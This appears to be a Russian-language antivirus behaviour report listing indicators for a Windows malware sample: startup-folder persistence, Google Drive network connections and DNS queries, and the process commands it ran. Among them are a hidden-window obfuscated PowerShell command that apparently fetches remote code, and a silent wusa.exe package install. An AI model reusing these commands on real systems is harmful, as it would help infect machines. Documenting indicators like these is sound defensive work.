Техническая информация
- %APPDATA%\microsoft\windows\start menu\programs\startup\<Имя файла>.vbs
- 'drive.google.com':443
- 'pk#.goog':80
- 'drive.usercontent.google.com':443
- 'drive.google.com':443
- 'drive.usercontent.google.com':443
- DNS ASK drive.google.com
- DNS ASK pk#.goog
- DNS ASK drive.usercontent.google.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "$JbTzY = 'Ow⁉В©9ADsAKQAgACkAIAAnADEAZQ⁉В©1AHIAdAAnACAALAAgAHYATw⁉В©hAFoARwAkACAALAAgACcAaA⁉В©0AHQAcA⁉В©zADoALwAvAHAAYQ⁉В©zAHQAZQ⁉В©iAGkAbgAuAGMAbw⁉В©tAC8Acg⁉В©hAHcALw⁉В©MAEMAUg⁉В©XAHA... (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' wusa.exe %TEMP%\\Upwin.msu /quiet /norestart
- '<SYSTEM32>\wusa.exe' %TEMP%\\Upwin.msu /quiet /norestart
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "sleep 180"